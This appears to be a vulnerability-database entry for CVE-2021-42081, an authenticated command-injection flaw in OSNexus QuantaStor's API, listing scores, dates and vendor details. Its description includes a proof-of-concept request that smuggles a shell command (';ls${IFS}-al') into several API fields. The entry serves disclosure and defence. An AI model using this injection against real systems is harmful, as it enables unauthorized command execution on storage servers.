CVE-2021-42081

—

CVSS 3.1

7.2 high

EPSS

1%p67

Published

Jul 10, 2023 (Jul 10, 2023)

Modified

Jun 17, 2026

Description

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http:// /qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Vendors: osnexus
Products: quantastor
Weakness: CWE-78
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

NVD CVE.org GitHub PoCs EPSS (1.2%)

In the news0 stories

No ingested article mentions this CVE yet.